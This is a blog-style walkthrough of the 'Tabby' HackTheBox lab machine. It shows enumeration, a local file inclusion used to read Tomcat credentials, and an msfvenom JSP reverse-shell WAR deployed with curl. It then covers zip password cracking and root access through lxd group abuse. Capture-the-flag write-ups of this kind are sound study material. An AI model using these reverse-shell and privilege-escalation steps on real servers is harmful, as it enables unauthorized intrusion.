# Tabby Walkthrough

Hey folks, Here we come back again to continue **HackTheBox** machines series with “**Tabby**” machine, before we get started let’s take a look at the machine's info

<figure><img src="https://cdn-images-1.medium.com/max/800/1*ao1pXjHFRkDOpbgqC1ON8Q.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://cdn-images-1.medium.com/max/800/1*-HKJ1zzk5YQJ3S1U618h9A.png" alt=""><figcaption></figcaption></figure>

As you can see it’s easy but in my opinion, it should be medium because it has in every step something new and seems to be hard for beginners, let’s get started…

> We will work on it without `Metasploit`

As usual, we will begin our walkthrough with `nmap` scan to get all open ports and service running on them, let’s perform a standard scan

```
nmap -A -T4 10.10.10.194PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
    80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-title: Mega Hosting
    8080/tcp open  http    Apache Tomcat
    | http-methods: 
    |_  Supported Methods: OPTIONS GET HEAD POST
    |_http-open-proxy: Proxy might be redirecting requests
    |_http-title: Apache Tomcat
```

We have `22/80/8080` are open and services `apache 2.4.41 / openssh 8.2p1 /apache tomcat` so what we will do ?

1. Try to search for exploits in `apache 2.4.41` by using `searchsploit` tool
2. Try to brute-force `ssh` credentials by using `nmap scripts` and `brutespray` tool
3. Try to brute-force `tomcat` credentials by using `metasploit` and `nmap scirpts`
4. Try to enumerate websites at `10.10.10.194:80` and `10.10.10.194:8080` and content discovery by using `dirbuster/dirsearch/ffuf/gobuster`

Let’s start…

## **Enumeration**

We will try to enumerate the services to get the misconfigurations and vulnerabilities.&#x20;

### **Public exploitation**

I’ve searched for public exploitation in `exploit-db` and `rapid-7` and public websites for exploitation for `apache 2.4.41 / openssh 8.2p1` but unfortunately nothing we found

For `Tomcat` we found exploitation at `rapid-7` and `exploit-db` but we must know tomcat credentials and the manager path, so we will need it later not now

### **SSH Credentials**

I’ve brute-forced ssh credentials by using `nmap` and `brutespray` but nothing useful!!

### **Tomcat login credentials brute force**

I’ve brute forced the credentials but also nothing useful, we used `metasploit`

Check the method at [Metasploit](https://www.rapid7.com/db/modules/auxiliary/scanner/http/tomcat_mgr_login/)

### **Website Enumeration and content discovery**

At first I will open `10.10.10.194:80`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*cIxN__FARTIWaoDJ_Ndikg.png" alt=""><figcaption></figcaption></figure>

Nice, we have a website that seems like more websites in real life, and it seems like hosting websites so let’s discover it and check its source code

While checking the source code we found this link `megahosting.htb/news.php?file=statement‌` so we need to add this domain `megahosting` to the `/etc/hosts` by adding it like this line to the `/etc/hosts` file

`10.10.10.194 megahosting` and then we will access the upper link

<figure><img src="https://cdn-images-1.medium.com/max/800/1*BLuV_eb6j-yKYr7EUxg_yg.png" alt=""><figcaption></figcaption></figure>

let’s search for `megahosting exploit` as Google, it may be affected by custom exploitation.

We have found this one

<figure><img src="https://cdn-images-1.medium.com/max/800/1*h6ZpUbKeltX24ixIXqFKqw.png" alt=""><figcaption></figcaption></figure>

## Exploitation

Until now we don’t know our version, so let’s try this exploit in the upper link `megahosting.htb/news.php?file=statement‌`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*dHQZY5QakUE-NQqAlJZW0Q.png" alt=""><figcaption></figcaption></figure>

Good, it’s vulnerable also.

Let’s try to get any information from `tomcat` directories, it may have sensitive information

After some enumeration, I’ve found a bunch of directories in these links

and also search for the `tomcat-users.xml` location file and found it in them, so let’s try to open all of them by using burp intruder or anything else

<figure><img src="https://cdn-images-1.medium.com/max/800/1*FYs9CeaPXOHWCVo8szaL6g.png" alt=""><figcaption></figcaption></figure>

`/var/share/tomcat9/etc/tomcat-users.xml` is available and has credentials for the `admin-gui and manager-script` so let’s take these credentials and try to upload a reverse payload

Note: one of the privileges of `admin-gui and manager-script` is to deploy files on the server, so we will create a reverse payload and then deploy it

```
reverse shell payload → msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.war
```

```
deploy your payload → curl --upload-file <path/to/shell.war> "http://megahosting:8080/manager/deploy/text?path=/shell&update=true"
```

and then you can access it by open `nc <port-number>` and access the webpage `megahosting:8080/shell`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*ey3R6PzRKb6Gb6MDBoi2-A.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://cdn-images-1.medium.com/max/800/1*bIRCw7dg1hvCm0G_JizSlQ.png" alt=""><figcaption></figcaption></figure>

So for now we’re into the server but not in the user role, so let’s discover our privileges by opening the uses directories

<figure><img src="https://cdn-images-1.medium.com/max/800/1*YhiQLwhpfgMW4hM8-kdOWA.png" alt=""><figcaption></figcaption></figure>

We can’t open the user directory, so let’s try to get more privileges by searching for any important directories or files

After some enumeration, I found this backup file in `/var/www/html/files`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*S9k5n12Ac19QpTWOuscGmg.png" alt=""><figcaption></figcaption></figure>

So I will try to download it on the local machine and look at its content

We will transfer it by opening a server on the vulnerable machine and accessing it from the attack machine

```
Vulnerable machine > python3 -m http.server 80Attack machine > wget http://10.10.10.194:80/backup-file-name
```

<figure><img src="https://cdn-images-1.medium.com/max/800/1*AkMx8Cpneu1P0vAQa1A_7g.png" alt=""><figcaption></figcaption></figure>

Now we have it on our attack machine, let’s try to `unzip` it by `unzip file-name`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*RvtmpppGrNQGvg2txUFk2g.png" alt=""><figcaption></figcaption></figure>

It’s protected by a password, so you can use `hashcat or john the wripper` to crack the password, I’ll use `fcrackzip` because it doesn’t take much time

<figure><img src="https://cdn-images-1.medium.com/max/800/1*8ZJjzoPxw6q4nTT2yUnV2w.png" alt=""><figcaption></figcaption></figure>

And we have the password `admin@it`

After trying to unzip the file I found nothing useful inside it so let’s use the password in other way

Let’s try to use it to login as `ash` user → `su ash` and insert this password

<figure><img src="https://cdn-images-1.medium.com/max/800/1*GIO25U3pjTOV21d7iKiA6g.png" alt=""><figcaption></figcaption></figure>

Good we have more privileges now but not the user privileges so let’s grab the `user.txt` first

<figure><img src="https://cdn-images-1.medium.com/max/800/1*oOwdmCFJEcRBxFRZu3TzRQ.png" alt=""><figcaption></figcaption></figure>

Good, for now let’s try to find anything led us to the root access.

If you noticed the `ash` user is in `lxd` group

<figure><img src="https://cdn-images-1.medium.com/max/800/1*GuDC1YISNLLryNANcRdoGQ.png" alt=""><figcaption></figcaption></figure>

So after some google searching about how to use this role to be a root user, I’ve found an awesome resource to do it

> Before we follow this resource let’s get first interactive shell because it will not work on the normal shell

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

It will get you in the interactive shell to be manage to access `lxd` then do as this man do exactly

As you will find in the upper link I’ve downloaded the `tar` file and transfer it to the vulnerable machine as you can see

<figure><img src="https://cdn-images-1.medium.com/max/800/1*jHCxscn7mOrlL8Wz9TwJMw.png" alt=""><figcaption></figcaption></figure>

After that, I compiled it on the victim machine and create an image

<figure><img src="https://cdn-images-1.medium.com/max/800/1*fAG1ufa8zXhdXWAA6hLuqg.png" alt=""><figcaption></figcaption></figure>

The final step is to access the image which we create

<figure><img src="https://cdn-images-1.medium.com/max/800/1*BjAc4lAA_YKdUCG0drLiIA.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://cdn-images-1.medium.com/max/800/1*noNDBePaZacv5fk27L2cMQ.png" alt=""><figcaption></figcaption></figure>

Let’s get our `root.txt` from the root directory

<figure><img src="https://cdn-images-1.medium.com/max/800/1*tPocGwPS-qwOVfHKm4s2bg.png" alt=""><figcaption></figcaption></figure>

There’s nothing in this directory

<figure><img src="https://cdn-images-1.medium.com/max/800/1*8QlV8Cb1QM8SPqEokQb2JQ.png" alt=""><figcaption></figcaption></figure>

It seems that he’s kidding me :)

Let’s search for the flag in all directories

After some search, I’ve found ❤

<figure><img src="https://cdn-images-1.medium.com/max/800/1*ydYziigwgD6BbBjiNTUc4Q.png" alt=""><figcaption></figcaption></figure>
